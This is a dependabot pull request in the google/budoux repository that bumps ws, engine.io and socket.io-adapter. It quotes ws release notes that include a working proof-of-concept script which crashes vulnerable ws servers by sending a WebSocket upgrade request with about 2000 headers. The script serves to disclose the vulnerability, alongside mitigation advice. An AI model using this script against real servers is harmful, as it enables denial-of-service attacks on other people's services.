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google / budoux

https://google.github.io/budoux/
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Bump the npm_and_yarn group in /javascript with 3 updates #617

Closed dependabot[bot] closed 4 months ago

dependabot[bot] commented 4 months ago

Bumps the npm_and_yarn group in /javascript with 3 updates: ws, engine.io and socket.io-adapter.

Updates ws from 8.17.0 to 8.17.1

Release notes

Sourced from ws's releases.

8.17.1

Bug fixes

  • Fixed a DoS vulnerability (#2231).

A request with a number of headers exceeding the[server.maxHeadersCount][] threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;


for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;


for (let j = 0; j &lt; chars.length; j++) {
  const key = chars[i] + chars[j];
  headers[key] = 'x';

  if (++count === 2000) break;
}



}


headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';


const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});


request.end();
});

The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the [--max-http-header-size=size][] and/or the [maxHeaderSize][] options so that no more headers than the server.maxHeadersCount limit can be sent.

... (truncated)

Commits
  • 3c56601 [dist] 8.17.1
  • e55e510 [security] Fix crash when the Upgrade header cannot be read (#2231)
  • 6a00029 [test] Increase code coverage
  • ddfe4a8 [perf] Reduce the amount of crypto.randomFillSync() calls
  • See full diff in compare view


Updates engine.io from 6.5.4 to 6.5.5

Release notes

Sourced from engine.io's releases.

6.5.5

This release contains a bump of the ws dependency, which includes an important security fix.

Advisory: https://github.com/advisories/GHSA-3h5v-q93c-6h6q

Bug Fixes

Links

Changelog

Sourced from engine.io's changelog.

6.5.5 (2024-06-18)

This release contains a bump of the ws dependency, which includes an important security fix.

Advisory: https://github.com/advisories/GHSA-3h5v-q93c-6h6q

Bug Fixes

Dependencies

3.6.2 (2024-06-18)

This release contains a bump of the ws dependency, which includes an important security fix.

Advisory: https://github.com/advisories/GHSA-3h5v-q93c-6h6q

Dependencies

Commits


Updates socket.io-adapter from 2.5.4 to 2.5.5

Changelog

Sourced from socket.io-adapter's changelog.

2.5.5 (2024-06-18)

This release contains a bump of the ws dependency, which includes an important security fix.

Advisory: https://github.com/advisories/GHSA-3h5v-q93c-6h6q

Commits


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